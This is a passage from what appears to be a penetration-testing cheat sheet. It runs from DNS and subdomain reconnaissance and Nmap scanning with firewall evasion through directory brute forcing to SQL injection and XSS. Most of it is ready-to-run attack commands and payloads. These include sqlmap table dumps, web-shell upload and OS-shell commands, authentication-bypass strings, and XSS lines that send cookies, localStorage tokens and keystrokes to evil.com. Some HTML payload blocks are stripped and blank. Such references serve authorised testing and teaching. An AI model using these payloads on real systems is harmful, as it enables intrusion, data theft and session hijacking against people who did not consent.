each name server\nfor ns in $(dig NS target.com +short); do\n    echo \"Attempting zone transfer from $ns\"\n    dig AXFR target.com @$ns\ndone\n\n# Using host command\nhost -l target.com ns1.target.com\n```\n\n#### Reverse DNS Lookup\n```bash\n# Find domains hosted on IP\ndig -x 192.168.1.1 +short\nnslookup 192.168.1.1\n```\n\n### Subdomain Enumeration\n\n#### Passive Techniques (No direct interaction)\n```bash\n# Sublist3r - Multiple sources\nsublist3r -d target.com -o subdomains.txt\nsublist3r -d target.com -b google,yahoo,bing,baidu -t 50\n\n# Amass - Passive mode\namass enum -passive -d target.com -o amass_passive.txt\n\n# TheHarvester - Search engines\ntheHarvester -d target.com -b all -f theharvester.html\n\n# Certificate Transparency (crt.sh)\ncurl -s \"https://crt.sh/?q=%.target.com&output=json\" | jq .\n\n# Using SecurityTrails API\ncurl -s \"https://api.securitytrails.com/v1/domain/target.com/subdomains\" \\\n     -H \"APIKEY: YOUR_API_KEY\" | jq -r '.subdomains[]'\n\n# Shodan\nshodan search hostname:target.com\n```\n\n#### Active Techniques\n```bash\n# Amass - Active enumeration\namass enum -active -d target.com -o amass_active.txt\namass enum -active -d target.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# Gobuster DNS mode\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50\n\n# ffuf for vhost discovery\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" \\\n     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\\n     -fc 400,404,403\n\n# DNSRecon\ndnsrecon -d target.com -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt\n\n# DNSEnum\ndnsenum target.com\n```\n\n### Technology Stack Identification\n\n```bash\n# WhatWeb - Comprehensive\nwhatweb target.com\nwhatweb target.com --aggression 3 --log-brief=whatweb.txt\n\n# Wappalyzer (browser extension)\n\n# BuiltWith (online service)\n\n# Wafw00f - WAF detection\nwafw00f target.com\nwafw00f target.com -a  # aggressive\n\n# HTTP headers inspection\ncurl -sI https://target.com\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\\|via\"\n\n# Web server fingerprinting\nhttpx -u target.com -tech-detect -status-code -title -follow-redirects\n\n# CMS detection\n# WordPress\nwpscan --url target.com --api-token YOUR_TOKEN\n\n# Joomla\njoomscan -u target.com\n\n# Drupal\ndroopescan scan drupal -u target.com\n```\n\n### OSINT (Open Source Intelligence)\n\n#### Email Discovery\n```bash\n# theHarvester\ntheHarvester -d target.com -b all -f results.html\ntheHarvester -d target.com -b google,bing,linkedin\n\n# Hunter.io (API required)\ncurl -s \"https://api.hunter.io/v2/domain-search?domain=target.com&api_key=KEY\" | jq\n\n# EmailHarvester\npython3 EmailHarvester.py -d target.com\n```\n\n#### Social Media\n- LinkedIn: Search for employees, job postings, technologies used\n- Twitter: Company handles, employee mentions\n- GitHub: Search for company repos, code leaks, API keys\n- Glassdoor: Employee reviews, technologies mentioned\n\n#### Code Repositories\n```bash\n# GitHub dorks\nsite:github.com \"target.com\"\nsite:github.com \"target.com\" \"api_key\"\nsite:github.com \"target.com\" \"password\"\n\n# Gitrob (requires GitHub token)\ngitrob -target target.com\n\n# TruffleHog - find secrets\ntrufflehog github --org=target-org\n```\n\n#### Wayback Machine\n```bash\n# View historical versions\nwaybackurls target.com | tee wayback_urls.txt\n\n# Extract endpoints\ngau target.com | tee gau_urls.txt\n```\n\n#### Google Dorking\n```\n# Common dorks\nsite:target.com\nsite:target.com filetype:pdf\nsite:target.com inurl:admin\nsite:target.com intitle:\"index of\"\nsite:target.com ext:php | ext:asp | ext:aspx | ext:jsp\nsite:target.com inurl:wp-content\nsite:target.com \"confidential\" | \"internal use only\"\nsite:target.com intext:\"sql syntax near\" | intext:\"syntax error has occurred\" | intext:\"incorrect syntax near\"\nsite:target.com inurl:php? id=\nsite:target.com \"powered by\" | \"built with\"\n```\n\n### Cloud & Infrastructure Discovery\n\n```bash\n# Find cloud assets\n# AWS\ncurl -s http://target.com.s3.amazonaws.com\ncurl -s http://s3.amazonaws.com/target.com\n\n# Azure\ncurl -s http://target.com.blob.core.windows.net\n\n# Google Cloud\ncurl -s http://storage.googleapis.com/target.com\n\n# Shodan queries\nshodan search \"hostname:target.com\" --fields ip_str,port,org,hostnames\nshodan search \"ssl:target.com\" --fields ip_str,port\nshodan search \"http.title:target\" --fields ip_str,port\n\n# Censys\ncensys search \"target.com\"\n```\n\n---\n\n## Port & Service Scanning\n\n### Nmap Fundamentals\n\n#### Basic Scans\n```bash\n# Quick scan (top 1000 ports)\nnmap -T4 -F target.com\n\n# Version detection\nnmap -sV target.com\n\n# OS detection\nnmap -O target.com\n\n# Default scripts\nnmap -sC target.com\n\n# Combined: version + scripts\nnmap -sV -sC target.com\n\n# Aggressive scan (OS + version + scripts + traceroute)\nnmap -A -T4 target.com\n```\n\n#### Port Selection\n```bash\n# Specific ports\nnmap -p 80,443,8080,8443 target.com\n\n# Port range\nnmap -p 1-1000 target.com\n\n# All ports (65535) - slow\nnmap -p- target.com\n\n# Fast all ports (with rate limiting)\nnmap -p- --min-rate 5000 target.com\n\n# Most common ports\nnmap --top-ports 200 target.com\n```\n\n#### Scan Types\n```bash\n# TCP SYN scan (default, requires root)\nsudo nmap -sS target.com\n\n# TCP Connect scan (no root)\nnmap -sT target.com\n\n# UDP scan\nsudo nmap -sU target.com\nsudo nmap -sU --top-ports 50 target.com\n\n# FIN scan (bypass some firewalls)\nsudo nmap -sF target.com\n\n# NULL scan\nsudo nmap -sN target.com\n\n# Xmas scan\nsudo nmap -sX target.com\n\n# ACK scan (map firewall rules)\nsudo nmap -sA target.com\n\n# Window scan\nsudo nmap -sW target.com\n\n# Maimon scan\nsudo nmap -sM target.com\n```\n\n#### Output Formats\n```bash\n# Normal output\nnmap -oN scan.txt target.com\n\n# XML output (for tools)\nnmap -oX scan.xml target.com\n\n# Grepable output\nnmap -oG scan.gnmap target.com\n\n# All formats\nnmap -oA scan target.com\n```\n\n### Advanced Nmap Techniques\n\n#### Timing and Performance\n```bash\n# Timing templates\n# T0 = Paranoid, T1 = Sneaky, T2 = Polite, T3 = Normal, T4 = Aggressive, T5 = Insane\nnmap -T4 target.com\n\n# Host timeout\nnmap --host-timeout 30m target.com\n\n# Max retries\nnmap --max-retries 3 target.com\n\n# Min/max rate\nnmap --min-rate 100 --max-rate 500 target.com\n\n# Parallelism\nnmap --min-hostgroup 50 --max-hostgroup 100 target.com\n```\n\n#### Firewall/IDS Evasion\n```bash\n# Fragment packets\nsudo nmap -f target.com\n\n# Specify MTU (must be multiple of 8)\nsudo nmap --mtu 16 target.com\n\n# Decoy scans\nsudo nmap -D RND:10 target.com\nsudo nmap -D decoy1,decoy2,ME target.com\n\n# Spoof source port\nsudo nmap --source-port 53 target.com\n\n# Randomize hosts\nsudo nmap --randomize-hosts target.com\n\n# MAC address spoofing\nsudo nmap --spoof-mac Apple target.com\nsudo nmap --spoof-mac 00:11:22:33:44:55 target.com\n\n# Idle scan (zombie)\nsudo nmap -sI zombie_host target.com\n```\n\n#### Script Scanning\n```bash\n# Run all safe scripts\nnmap -sV --script safe target.com\n\n# Run vulnerability scripts\nnmap -sV --script vuln target.com\n\n# Run exploit scripts\nnmap --script exploit target.com\n\n# Run specific category\nnmap --script default,auth,discovery target.com\n\n# Run specific script\nnmap --script http-enum target.com\nnmap --script http-title target.com\nnmap --script dns-brute target.com\n\n# Script with arguments\nnmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt target.com\n\n# HTTP enumeration\nnmap -p 80,443,8080,8443 --script http-enum,http-headers,http-title,http-server-header target.com\n\n# SMB enumeration\nnmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery target.com\n```\n\n### Nmap Scripting Engine Examples\n\n```bash\n# HTTP vuln scanning\nnmap -p 80,443 --script http-vuln-* target.com\n\n# SQL injection detection\nnmap -p 80 --script http-sql-injection target.com\n\n# XSS detection\nnmap -p 80 --script http-unsafe-output-escaping target.com\n\n# Shellshock detection\nnmap -p 80 --script http-shellshock target.com\n\n# Heartbleed detection\nnmap -p 443 --script ssl-heartbleed target.com\n\n# DNS zone transfer\nnmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=target.com target.com\n\n# SSL/TLS enumeration\nnmap -p 443 --script ssl-enum-ciphers target.com\nnmap -p 443 --script ssl-cert target.com\n\n# FTP enumeration\nnmap -p 21 --script ftp-anon,ftp-brute,ftp-syst target.com\n\n# SSH enumeration\nnmap -p 22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com\n```\n\n### Practical Nmap Workflow\n\n```bash\n#!/bin/bash\n# Complete Nmap scanning workflow\n\nTARGET=\"10.10.10.1\"\nOUTDIR=\"./nmap_scan_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p $OUTDIR\n\necho \"[*] Starting Nmap scan against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# Phase 1: Quick port scan\necho \"[*] Phase 1: Quick top-1000 port scan\"\nnmap -T4 --open -oN $OUTDIR/quick.txt $TARGET\n\n# Phase 2: Full port scan (all ports)\necho \"[*] Phase 2: Full port scan (all 65535)\"\nnmap -p- -T4 --min-rate 5000 -oN $OUTDIR/allports.txt $TARGET\n\n# Extract open ports\nPORTS=$(grep ^[0-9] $OUTDIR/allports.txt | cut -d'/' -f1 | tr '\\n' ',' | sed 's/,$//')\necho \"[+] Open ports: $PORTS\"\n\n# Phase 3: Service and version detection\necho \"[*] Phase 3: Service and version detection\"\nnmap -p $PORTS -sV -sC -A -oN $OUTDIR/services.txt -oX $OUTDIR/services.xml $TARGET\n\n# Phase 4: Vulnerability scan\necho \"[*] Phase 4: Vulnerability scan with NSE\"\nnmap -p $PORTS --script vuln -oN $OUTDIR/vuln.txt $TARGET\n\n# Phase 5: Safe script scan\necho \"[*] Phase 5: Safe script scan\"\nnmap -p $PORTS --script safe -oN $OUTDIR/safe_scripts.txt $TARGET\n\n# Phase 6: UDP scan (top 100 ports)\necho \"[*] Phase 6: UDP scan (top 100 ports)\"\nsudo nmap -sU --top-ports 100 -oN $OUTDIR/udp.txt $TARGET\n\necho \"[+] Scan complete! Results in $OUTDIR\"\n```\n\n---\n\n## Web Enumeration\n\n### Directory & File Brute Forcing\n\n#### Gobuster\n```bash\n# Directory enumeration\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n\n# With extensions\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html,txt,bak,zip,sql\n\n# Status codes\ngobuster dir -u https://target.com -w wordlist.txt -s 200,204,301,302,307,403\n\n# Exclude status codes\ngobuster dir -u https://target.com -w wordlist.txt -b 404,403\n\n# Follow redirects\ngobuster dir -u https://target.com -w wordlist.txt -r\n\n# Cookies and headers\ngobuster dir -u https://target.com -w wordlist.txt -c \"session=abc123\"\ngobuster dir -u https://target.com -w wordlist.txt -H \"Authorization: Bearer token\"\n\n# DNS subdomain enumeration\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n\n# VHost enumeration\ngobuster vhost -u https://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n```\n\n#### FFUF (Faster Fuzzer)\n```bash\n# Basic directory fuzzing\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt\n\n# With extensions\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.asp,.aspx,.jsp,.html,.txt\n\n# Filter by status codes\nffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404,403\nffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,204,301,302\n\n# Filter by response size\nffuf -u https://target.com/FUZZ -w wordlist.txt -fs 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fw 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fl 0\n\n# Recursive scanning\nffuf -u https://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2\n\n# POST request fuzzing\nffuf -u https://target.com/login -X POST -d \"username=FUZZ&password=test\" -H \"Content-Type: application/x-www-form-urlencoded\" -w usernames.txt -fc 401\n\n# Header fuzzing\nffuf -u https://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fc 400,404\n\n# Parameter fuzzing\nffuf -u https://target.com/page?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404\n\n# Cookie fuzzing\nffuf -u https://target.com -b \"session=FUZZ\" -w wordlist.txt -fc 302\n\n# Multiple FUZZ points\nffuf -u https://target.com/FUZZ1?param=FUZZ2 -w FUZZ1:dirs.txt -w FUZZ2:params.txt\n```\n\n#### Dirb\n```bash\n# Basic scan\ndirb https://target.com\n\n# With custom wordlist\ndirb https://target.com /usr/share/wordlists/dirb/big.txt\n\n# With extensions\ndirb https://target.com -X .php,.html,.txt\n\n# Non-recursive\ndirb https://target.com -r\n\n# Use cookies\ndirb https://target.com -c \"session=abc123\"\n\n# Use proxy\ndirb https://target.com -p 127.0.0.1:8080\n```\n\n#### Wfuzz\n```bash\n# Directory scanning\nwfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ\n\n# File extensions\nwfuzz -c -z file,wordlist.txt -z list,php-asp-jsp https://target.com/FUZZ.FUZ2Z\n\n# POST parameter fuzzing\nwfuzz -c -z file,usernames.txt -d \"username=FUZZ&password=test\" https://target.com/login\n\n# Cookie fuzzing\nwfuzz -c -z file,sessions.txt -b \"session=FUZZ\" https://target.com/dashboard\n\n# Header injection\nwfuzz -c -z file,headers.txt -H \"FUZZ: test\" https://target.com\n```\n\n### Web Server Vulnerability Scanning\n\n#### Nikto\n```bash\n# Basic scan\nnikto -h https://target.com\n\n# Specific port\nnikto -h https://target.com -p 8443\n\n# With authentication\nnikto -h https://target.com -id admin:password\n\n# SSL/TLS specific\nnikto -h https://target.com -ssl\n\n# Save output\nnikto -h https://target.com -o nikto_scan.txt\n\n# Tuning (select specific tests)\nnikto -h https://target.com -Tuning 123456\n# 1=File Upload, 2=Misconfig, 3=Info Disclosure, 4=Injection, 5=RFI/LFI, 6=XSS, 7=Command Exec, 8=SQLi, 9=SQL Injection\n\n# Use proxy\nnikto -h https://target.com -useproxy http://127.0.0.1:8080\n\n# Evasion techniques\nnikto -h https://target.com -evasion 123\n# 1=Random URI, 2=Directory prepend, 3=Prepend long random string, 4=Parameter/Value, 5=Tab separation, 6=Change case, 7=Windows paths\n```\n\n#### WhatWeb\n```bash\n# Basic detection\nwhatweb https://target.com\n\n# Aggressive mode\nwhatweb https://target.com -a 3\n\n# Verbose output\nwhatweb https://target.com -v\n\n# Log output\nwhatweb https://target.com --log-brief=whatweb.txt\nwhatweb https://target.com --log-json=whatweb.json\nwhatweb https://target.com --log-sql=whatweb.sql\n\n# Multiple targets\nwhatweb --input-file=targets.txt\n```\n\n#### WPScan (WordPress)\n```bash\n# Basic scan\nwpscan --url https://target.com\n\n# Enumerate plugins\nwpscan --url https://target.com --enumerate p\n\n# Enumerate themes\nwpscan --url https://target.com --enumerate t\n\n# Enumerate users\nwpscan --url https://target.com --enumerate u\n\n# Enumerate vulnerable plugins/themes\nwpscan --url https://target.com --enumerate vp,vt\n\n# API token for vulnerability database\nwpscan --url https://target.com --api-token YOUR_TOKEN\n\n# Password brute force\nwpscan --url https://target.com --passwords rockyou.txt --usernames admin\n\n# WAF detection\nwpscan --url https://target.com --detection-mode aggressive\n\n# Multisite scan\nwpscan --url https://target.com --multisite\n```\n\n### CMS-Specific Enumeration\n\n#### Joomla\n```bash\n# Joomscan\njoomscan -u https://target.com\n\n# Joomla vulnerability scanner\npython3 joomla-brute.py -u https://target.com -w passwords.txt -usr admin\n```\n\n#### Drupal\n```bash\n# Droopescan\ndroopescan scan drupal -u https://target.com\n\n# Drupalgeddon2\npython3 drupalgeddon2.py -u https://target.com\n```\n\n#### Magento\n```bash\n# MageScan\npython2 magento-scan.py -u https://target.com\n```\n\n### Virtual Host Discovery\n\n```bash\n# Using ffuf\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fs 1234\n\n# Using gobuster\ngobuster vhost -u http://target.com -w subdomains.txt\n\n# Using wfuzz\nwfuzz -c -z file,subdomains.txt -H \"Host: FUZZ.target.com\" -u http://target.com -hc 400,404\n\n# Manual with curl\nfor sub in $(cat subdomains.txt); do\n    curl -s -H \"Host: $sub.target.com\" http://target.com | grep -q \"Welcome\" && echo \"Found: $sub\"\ndone\n```\n\n### API Endpoint Discovery\n\n```bash\n# Common API paths\nffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt\n\n# API version fuzzing\nffuf -u https://target.com/api/vFUZZ -w \"1-10\" -fc 404\n\n# Swagger/OpenAPI discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"swagger.json\\nswagger.yaml\\nopenapi.json\\napi-docs\")\n\n# GraphQL discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"graphql\\ngraphiql\\ngraphql/console\\ngraphql/graphiql\")\n```\n\n### Robots.txt and Sitemap Analysis\n\n```bash\n# Check robots.txt\ncurl -s https://target.com/robots.txt\n\n# Check sitemap\ncurl -s https://target.com/sitemap.xml\ncurl -s https://target.com/sitemap_index.xml\n\n# Extract disallowed paths\ncurl -s https://target.com/robots.txt | grep \"Disallow\" | awk '{print $2}'\n\n# Extract sitemap URLs\ncurl -s https://target.com/sitemap.xml | grep -o \"[^<]*\" | sed 's///g'\n```\n\n### JavaScript File Analysis\n\n```bash\n# Download all JS files\nwget -r -l1 -A.js https://target.com\n\n# Extract endpoints from JS\ncat *.js | grep -Eo \"https?://[^/\\\\\\\"']+\" | sort -u\ncat *.js | grep -Eo \"/[a-zA-Z0-9_\\-/]+\\.(php|asp|aspx|jsp)\" | sort -u\n\n# LinkFinder\npython3 LinkFinder.py -i https://target.com -o cli\n\n# JSParser (for async endpoints)\npython2 JSParser.py https://target.com\n\n# SecretFinder\npython3 SecretFinder.py -i https://target.com -o cli\n```\n\n### Wayback Machine URL Extraction\n\n```bash\n# Get all historical URLs\nwaybackurls target.com | tee wayback_urls.txt\n\n# Gau (Get All URLs)\ngau target.com | tee gau_urls.txt\n\n# Filter interesting endpoints\ncat wayback_urls.txt | grep -E \"\\.php|\\?|\\.asp|\\.aspx|\\.jsp|api|admin|login\"\n\n# Check for parameters\ncat wayback_urls.txt | grep \"=\" | sort -u\n```\n\n---\n\n## Vulnerability Assessment\n\n### Automated Scanners\n\n#### Nuclei\n```bash\n# Basic scan\nnuclei -u https://target.com\n\n# With templates\nnuclei -u https://target.com -t cves/\nnuclei -u https://target.com -t exposures/\nnuclei -u https://target.com -t misconfiguration/\n\n# Severity-based\nnuclei -u https://target.com -severity critical,high\n\n# Multiple targets\nnuclei -l targets.txt\n\n# Output formats\nnuclei -u https://target.com -o results.txt -json\n\n# Rate limiting\nnuclei -u https://target.com -rl 150 -bs 25 -c 25\n```\n\n#### Nessus (Commercial)\n```bash\n# CLI usage\nnessuscli scan new --name \"Web Scan\" --targets target.com --policy \"Web App Tests\"\nnessuscli scan launch --scan-id 123\nnessuscli report download --scan-id 123 --format html\n```\n\n#### OpenVAS\n```bash\n# Start services\nsudo gvm-start\n\n# CLI scan creation\ngvm-cli --gmp-username admin --gmp-password pass socket --socketpath /var/run/gvmd.sock --xml \"...\"\n```\n\n### Manual Testing Techniques\n\n#### Security Headers Check\n```bash\n# Check security headers\ncurl -sI https://target.com | grep -iE \"strict-transport-security|content-security-policy|x-frame-options|x-content-type-options|referrer-policy|permissions-policy\"\n\n# Using online tools\n# securityheaders.com\n# observatory.mozilla.org\n```\n\n#### Information Disclosure\n```bash\n# Check for debug pages\ncurl -s https://target.com/phpinfo.php\ncurl -s https://target.com/info\ncurl -s https://target.com/server-status\n\n# Check for version disclosure\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\"\ncurl -s https://target.com | grep -i \"generator\\|version\"\n\n# Check for error messages\ncurl -s \"https://target.com/page?id='\" | grep -i \"sql\\|error\\|warning\"\n```\n\n#### CORS Misconfiguration\n```bash\n# Test with origin header\ncurl -sI https://target.com -H \"Origin: https://evil.com\" | grep -i \"access-control-allow-origin\"\n\n# Test with null origin\ncurl -sI https://target.com -H \"Origin: null\" | grep -i \"access-control-allow-origin\"\n```\n\n#### HTTP Methods Testing\n```bash\n# Check allowed methods\ncurl -sI https://target.com -X OPTIONS | grep -i \"allow\"\n\n# Test dangerous methods\ncurl -X PUT -d \"test\" https://target.com/test.txt\ncurl -X DELETE https://target.com/test.txt\ncurl -X TRACE https://target.com\n```\n\n---\n\n## SQL Injection (SQLi)\n\n### Detection Techniques\n\n#### Manual Testing\n```bash\n# Basic payloads\n' OR '1'='1\n' OR 1=1--\n\" OR \"1\"=\"1\n1' AND '1'='1\n1' AND '1'='2\n' OR '1'='1' --\n\n# Comments\n'--\n'#\n'/*\n'\n-- \n#\n\n# Union-based detection\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n\n# Boolean-based\n' AND 1=1--\n' AND 1=2--\n\n# Time-based\n' AND SLEEP(5)--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=1 AND SLEEP(5)--\n```\n\n#### Automated Detection with SQLmap\n```bash\n# Basic detection\nsqlmap -u \"https://target.com/page?id=1\"\n\n# POST request\nsqlmap -u \"https://target.com/login\" --data=\"username=admin&password=test\"\n\n# From Burp request file\nsqlmap -r request.txt\n\n# With cookie\nsqlmap -u \"https://target.com/page?id=1\" --cookie=\"session=abc123\"\n\n# Level and risk\nsqlmap -u \"https://target.com/page?id=1\" --level=5 --risk=3\n\n# Random user agent\nsqlmap -u \"https://target.com/page?id=1\" --random-agent\n\n# Batch mode (no prompts)\nsqlmap -u \"https://target.com/page?id=1\" --batch\n\n# Force SSL\nsqlmap -u \"https://target.com/page?id=1\" --force-ssl\n```\n\n### Data Extraction\n\n#### Database Enumeration\n```bash\n# Get databases\nsqlmap -u \"https://target.com/page?id=1\" --dbs\n\n# Get current database\nsqlmap -u \"https://target.com/page?id=1\" --current-db\n\n# Get current user\nsqlmap -u \"https://target.com/page?id=1\" --current-user\n\n# Get database users\nsqlmap -u \"https://target.com/page?id=1\" --users\n\n# Get database privileges\nsqlmap -u \"https://target.com/page?id=1\" --privileges\n```\n\n#### Table Enumeration\n```bash\n# Get tables from database\nsqlmap -u \"https://target.com/page?id=1\" -D database_name --tables\n\n# Get columns from table\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --columns\n\n# Dump table data\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump\n\n# Dump specific columns\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users -C username,password --dump\n\n# Conditional dump\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump --where=\"id=1\"\n```\n\n### Advanced SQLmap Techniques\n\n#### Bypass Techniques\n```bash\n# Tamper scripts\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment\nsqlmap -u \"https://target.com/page?id=1\" --tamper=between,randomcase\nsqlmap -u \"https://target.com/page?id=1\" --tamper=apostrophemask,apostrophenullencode\n\n# List all tamper scripts\nsqlmap --list-tampers\n\n# WAF bypass\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment --random-agent --flush-session\n\n# No-cast\nsqlmap -u \"https://target.com/page?id=1\" --no-cast\n\n# Hex conversion\nsqlmap -u \"https://target.com/page?id=1\" --hex\n```\n\n#### File System Access\n```bash\n# Read file\nsqlmap -u \"https://target.com/page?id=1\" --file-read=/etc/passwd\n\n# Write file\nsqlmap -u \"https://target.com/page?id=1\" --file-write=shell.php --file-dest=/var/www/html/shell.php\n\n# Check privileges\nsqlmap -u \"https://target.com/page?id=1\" --is-dba\n```\n\n#### OS Command Execution\n```bash\n# Get OS shell\nsqlmap -u \"https://target.com/page?id=1\" --os-shell\n\n# Execute command\nsqlmap -u \"https://target.com/page?id=1\" --os-cmd=\"id\"\n\n# SQL shell\nsqlmap -u \"https://target.com/page?id=1\" --sql-shell\n```\n\n### Common SQL Injection Payloads\n\n#### Authentication Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1, 'admin', 'password'--\n```\n\n#### Union-Based Payloads\n```sql\n' UNION SELECT null, null, null--\n' UNION SELECT 1,2,3--\n' UNION SELECT 1,@@version,3--\n' UNION SELECT 1,table_name,3 FROM information_schema.tables--\n' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--\n```\n\n#### Error-Based Payloads\n```sql\n' AND extractvalue(1, concat(0x7e, database()))--\n' AND updatexml(1, concat(0x7e, database()), 1)--\n' AND (SELECT * FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\n```\n\n#### Boolean-Based Payloads\n```sql\n' AND 1=1--\n' AND 1=2--\n' AND SUBSTRING(database(),1,1)='a'--\n' AND ASCII(SUBSTRING(database(),1,1)) > 100--\n```\n\n#### Time-Based Payloads\n```sql\n' AND SLEEP(5)--\n' AND BENCHMARK(10000000,MD5('a'))--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=(SELECT COUNT(*) FROM sysobjects WHERE xtype='U' AND WAITFOR DELAY '00:00:05')--\n```\n\n### Second-Order SQL Injection\n```bash\n# Register with malicious payload\nsqlmap -u \"https://target.com/register\" --data=\"username=admin'--&password=test\"\n\n# Trigger on another page\nsqlmap -u \"https://target.com/profile\" --cookie=\"session=abc123\" --second-url=\"https://target.com/profile\"\n```\n\n### NoSQL Injection\n```javascript\n// MongoDB\n' || '1'=='1\n' || 1==1//\n' && this.password.match(/.*/)//\n' && this.username.match(/admin/)//\n\n// Authentication bypass\n{ \"username\": { \"$ne\": null }, \"password\": { \"$ne\": null } }\n{ \"username\": { \"$regex\": \"admin\" }, \"password\": { \"$regex\": \"^.*\" } }\n\n// Tools\n# NoSQLMap\nnosqlmap.py --target http://target.com --attack\n```\n\n---\n\n## Cross-Site Scripting (XSS)\n\n### XSS Types\n\n#### Reflected XSS\n```html\n\nalert('XSS')\n\n\nhttps://target.com/search?q=alert(1)\n\n\n\n```\n\n#### Stored XSS\n```html\n\nalert(document.cookie)\n\n\n\n\n\n\n```\n\n#### DOM-Based XSS\n```javascript\n// URL fragment\nhttps://target.com/#alert(1)\n\n// document.write\ndocument.write(location.hash.substring(1))\n\n// innerHTML\nelement.innerHTML = location.hash.substring(1)\n\n// eval\neval(location.hash.substring(1))\n```\n\n### XSS Payloads\n\n#### Basic Alert Payloads\n```html\nalert('XSS')\nalert(1)\nalert(document.cookie)\nalert(document.domain)\nalert(document.URL)\n```\n\n#### Event Handler Payloads\n```html\n\n\n\n\nHover me\n\n\n\n```\n\n#### Attribute Breakout\n```html\n\">alert(1)\n'>alert(1)\njavascript:alert(1)\n\">\n' onmouseover=alert(1) '\n```\n\n#### Encoded Payloads\n```html\n%3Cscript%3Ealert(1)%3C/script%3E\n<script>alert(1)</script>\nipt>alert(1)ipt>\nalert(1)\n```\n\n#### Polyglot Payloads\n```html\njavascript:/*-->\n\" onclick=alert(1)//Click\n```\n\n### Advanced XSS Attacks\n\n#### Cookie Stealing\n```html\n\nfetch('https://evil.com/steal?cookie='+document.cookie)\nnew Image().src='https://evil.com/steal?c='+document.cookie\ndocument.location='https://evil.com/steal?c='+document.cookie\n\n\nfetch('https://evil.com/steal', {method:'POST', body:document.cookie, mode:'no-cors'})\n\n\nfetch('https://evil.com/steal?data='+btoa(JSON.stringify(localStorage)))\n```\n\n#### Keylogging\n```javascript\n\ndocument.onkeypress = function(e) {\n    fetch('https://evil.com/keylog?key='+e.key);\n}\n\n```\n\n#### Session Hijacking\n```html\n\nfetch('https://evil.com/steal?token='+localStorage.getItem('token'))\n\n\n\nvar token = localStorage.getItem('token');\ndocument.write('');\n\n```\n\n#### Phishing\n```html\n\n\ndocument.body.innerHTML = '\n\nSession Expired\n';\n\n```\n\n#### Port Scanning\n```javascript\n\nfor (var i=1;i<=1024;i++) {\n    var img = new Image();\n    img.onload = function() { console.log('Port open: ' + i); };\n    img.onerror = function() { console.log('Port closed: ' + i); };\n    img.src = 'http://localhost:' + i;\n}\n\n```\n\n### XSS Testing Tools\n\n#### Dalfox\n```bash\n# Basic scan\ndalfox url https://target.com/page?q=test\n\n# File input\ndalfox file urls.txt\n\n# With cookie\ndalfox url https://target.com/page?q=test --cookie \"session=abc123\"\n\n# Blind XSS\ndalfox url https://target.com/page?q=test --blind \"https://xsshunter.com\"\n\n# Output formats\ndalfox url https://target.com/page?q=test --output results.txt --format json\n\n# Custom payloads\ndalfox url https://target.com/page?q=test --custom-payload-file payloads.txt\n```\n\n#### XSStrike\n```bash\n# Basic scan\npython3 xsstrike.py -u \"https://target.com/page?q=test\"\n\n# POST request\npython3 xsstrike.py -u \"https://target.com/search\" --data \"q=test\"\n\n# Crawl and test\npython3 xsstrike.py -u \"https://target.com\" --crawl\n\n# Skip DOM checking\npython3 xsstrike.py -u \"https://target.com/page?q=test\" --skip-dom\n```\n\n#### XSSer\n```bash\n# Basic scan\nxsser -u \"https://target.com/page?q=test\"\n\n# POST request\nxsser -u \"https://target.com/login\" --post=\"user=test&pass=test\"\n\n# Auto\nxsser --auto \"https://target.com/page?q=test\"\n\n# Crawler\nxsser --crawler \"https://target.com\"\n```\n\n### XSS Prevention Bypass\n\n#### WAF Bypass 